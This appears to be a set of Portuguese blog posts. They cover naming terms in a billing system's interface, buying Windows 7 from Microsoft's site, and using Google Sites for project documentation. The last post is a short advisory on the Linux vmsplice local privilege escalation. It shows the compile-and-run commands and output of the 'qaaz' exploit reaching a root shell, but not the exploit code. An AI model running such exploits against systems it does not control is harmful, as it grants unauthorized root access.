Estamos desenvolvendo na Myfreecomm um sistema de cobrança que está ficando muito interessante. Ele irá resolver um problema real e trará muita conveniência no dia-a-dia das empresas que realizam cobrança com integração com os bancos.

O sistema está quase pronto e estamos neste momento definindo aqueles detalhes que fazem toda a diferença.

A concepção foi baseada em um fluxo único de uso, de forma que os itens de menu contemplassem as ações que o usuário irá realizar, como se o sistema todos fosse um grande wizard. As páginas acessórias são acessadas apenas por links contextuais. Não temos menu e submenu, nem breadcrumb. E te digo, fazer o sistema assim é um desafio!

A interface ficou bem simples, sem muitas opções e com links no lugar certo e na hora certa. Quando fazemos sistemas deste gênero as palavras e termos utilizados nos itens de menu, nos títulos e nos links são muito importantes. É preciso que o usuário consiga se situar de forma rápida e entenda o que irá acontecer a cada clique.

O Allan é o responsável por fazer com que o sistema seja entendido pelos usuários. Ele está escrevendo o manual, pensando em que lugares existirão links para o manual, quais são os pontos que podem gerar dúvidas, etc. E nesse processo ele está revendo os termos utilizados a todo momento. Inclusive nas interações chegamos a perceber e incluir na histórias novos status para determinada entidade e tudo.

Hoje ele levantou uma bola que gerou uma discussão muito saudável. Uma das ações do usuário no sistema é juntar várias cobranças para que elas sejam enviadas para o sistema do banco. Até hoje, o termos utilizado para esse conjunto de cobranças era Remessa. Tínhamos termos tais como: Preparar Remessa, Enviar Remessa, Remessas Pendentes e Remessas Enviadas.

A questão levantada foi: “Não deveria ser Lote ao invés de Remessa?”

A conclusão imediata depois de um rápido brainstorm foi de que tanto faz, afinal dá no mesmo, lote e remessa são a mesma coisa. Bem, depois de muita conversa e esclarecimento sobre entidades, estados, tempos, etc chegamos a uma opinião diferente.

Buscamos definições de lote e remessa no Google, depois fomos aos dicionários priberam e Aurélio. Mais alguns minutos de discussão e desenho foram neecessários para concluirmos que Remessa é algo que foi enviado, ou seja, que já passou pelo processo de envio. Se existe algo que pode ser remetido, mas ainda não o foi, isso não pode ser chamado de Remessa.

Donde se concluí que  dizer “Enviar Remessa” está errado e o termo “Remessa enviada” é um pleonasmo. Se é Remessa, é por que já foi enviado.

No meio da discussão chegamos a lembrar que muitas vezes não importa o “certo” e “errado” na gramática formal e que o mais importante é o entendimento do usuário. Mas é o que eu digo, se podemos usar o correto de acordo com a gramática sem afetar o entendimento do usuário, melhor. Se, usando o termo gramaticalmente corrento, ainda assim facilitamos o entendimento do usuário, como foi o caso, melhor ainda!

Por fim decidimos usar o termo Lote ao invés de Remessa e mudaremos para “Preparar Lote”, “Enviar Lote”, “Lotes pendentes” , “Lotes enviados” e outros termos presentes na interface. Como escrevemos todo código de programação em inglês, não tivemos maiores problemas.

Essa experiência foi muito interessante, pois foi legal estudar e discutir sobre o significado destas palavras e foi incrível perceber como uma mudança simples pode ao mesmo tempo melhorar o sistema e facilitar nosso trabalho. Ficará mais fácil agora escrever o manual. É aquela velha história: Se está difícil, está errado!

Uma vez eu li um post da 37signals extamente sobre isso. Agora eu entendo perfeitamente o que eles queriam passar com o post, e é o que eu espero deixar de recado também.

A definição de termos corretos e fáceis de serem compreendidos pelo usuário é fundamental para a boa usabilidade do sistema.

Além disso, escolher as palavras certas facilita a compreensão da relação do que elas representam com o sistema como um todo.

São diversos fatores que tornam um sistema bom ou ruim, difícil ou fácil de usar e complexo ou simples. Usar palavras corretas e de simples entendimento é um fator muito importante. Às vezes parece que está tudo bom, e que as palavras estão certas e serão compreendidas, mas nem sempre é verdade.

Pense no sistema que você usa ou está desenvolvendo. Será que mudando alguns termos não ficaria muito mais fácil de usar? Você tem algum caso similar? Deixe sua história nos comentários!

Abraços e até a próxima.

Hoje eu entrei no site da Microsoft para comprar o Windows 7 e percebi o quanto a Microsoft é _________ (complete você mesmo nos comentários após ler o post).

Depois de comentar o caso com o pessoal na Myfreecomm, o Marcelo Guerra, designer freak em web, imediatamente entrou no site do Mac OS X e do Ubuntu para comparar. Veja a discrepância e tire suas próprias conclusões.

Lembrando que eu, usuário, entrei no site para comprar o sistema.

Ubuntu

Na primeira tela um botão grande “Download Ubuntu”…

… na tela seguinte, fica claro o que eu devo fazer. Neste caso não é venda, mas download, ok.

Mac OS X

Na primeira tela um ícone “Buy Now”…

… na tela seguinte, a página do produto na loja on-line com preço e carrinho de compras.

Windows 7

Na primeira tela um banner “Loja Virtual – Compre já o seu Windows 7″…

… na tela seguinte, “PAM”!!! Um computador Vaio da loja Fast e absolutamente nada sobre o Windows 7

Detalhe: O mesmo acontece quando você entra no site específico do Windows e clica em “Comprar” ou “Como Obter”.

Não precisa falar mais nada, né!

Abraços e até a próxima.

Este post é uma resposta ao comentário feito pelo Alessandro no post sobre o Google Sites.

Rafael, também estamos avaliando o Google Sites para centralizar as informações de um projeto da empresa.
Uma das minhas preocupações é fazer com que essa ferramenta seja realmente atrativa e utilizada pelos membros da empresa.
Que dicas você poderia me dar pra isso? Que informações vocês geralmente disponibilizam nessa ferramenta?
Obrigado
Alessandro

Na prática a ferramenta só é utilizada no dia a dia se a entrada de dados for fácil e se ela oferecer um ganho efetivo, seja de produtividade ou organização, por exemplo.

É necessário dedicar um tempo diariamente para atualizar os dados no sistema. Neste caso de centralizar informações de um projeto, é interessante que a documentação esteja toda lá, por exemplo. Toda mesmo!

Se algumas informações estão no sistema, mas outras estão espalhadas pelo servidor da empresa ou e-mail de cada um, dificilmente a ferramenta será utilizada pela equipe.
Como o meu caso são projetos de sistemas, eu geralmente disponibilizo as idéias, a anatomia do sistema, a estutura de navegação do site e do sistema, o conteúdo das páginas, documentação dos serviços relacionados, planejamento de marketing, planejamento financeiro, etc.

Estou desenvolvendo uma aplicação cujo objetivo é justamente auxiliar a entrada de dados em sistemas que precisam ser atualizados sempre. Minha percepção é que se o próprio sistema não oferece bons recursos de entrada de dados, ele acaba não sendo utilizado. Como a maioria deles pecam neste aspecto, resolvi apostar em algo neste sentido.

Espero ter respondido a questão e auxiliado outros leitores.

Um Abraço

Hoje estou avaliando o Google Sites. Eu estava buscando uma ferramenta para documentar a concepção dos projetos da BielSystems e estava com dificuldades de achar.

Eu precisava mais do que um wiki poderia oferecer, então o Instiki não servia.

Era uma ferramenta para ser usada internamente, com estrutura de páginas e mais recursos que um blog poderia oferecer, então o Wordpress não servia.

Eu precisava de um local para enviar criar páginas, enviar aquivos, colocar imagens, etc. e o Google Sites caiu como uma luva!

Já comecei a usá-lo para documentar a NAW (veja os posts da série), pelo que já vi, vou deixar de mão o wiki em prol do Google Sites para o primeiro momento de troca de informação entre a equipe de um projeto.

Provavelmente quando começarmos a programar e posteriormente manter os sistemas depois de publicado, usaremos o Trac e o Basecamp.

Foi descoberta uma falha que afeta praticamente todas as distribuições que possuem versão do kernel de 2.6.17 a 2.6.24.1

Esta falha permite que usuários locais tenham acesso de root. Este bug afeta em geral os serviços de hosting onde os usuários tem acesso por SSH. Caso você utilize um computador em casa que só você tem acesso, o bug pode existir, mas não vai te afetar, pois usuários remotos não conseguem acesso de root sem ter uma conta de usuário normal na máquina.

Para testar se o seu sistema está vulnerável, copie o conteúdo do exploit para a máquina de teste e rode os comandos abaixo:

[code]

$ gcc exploit.c -o exploit
$ whoami
(irá mostrar seu nome de usuário)
$ ./exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
$ whoami
root
(você estará logado como root)
[/code]

Mais informações: busque no google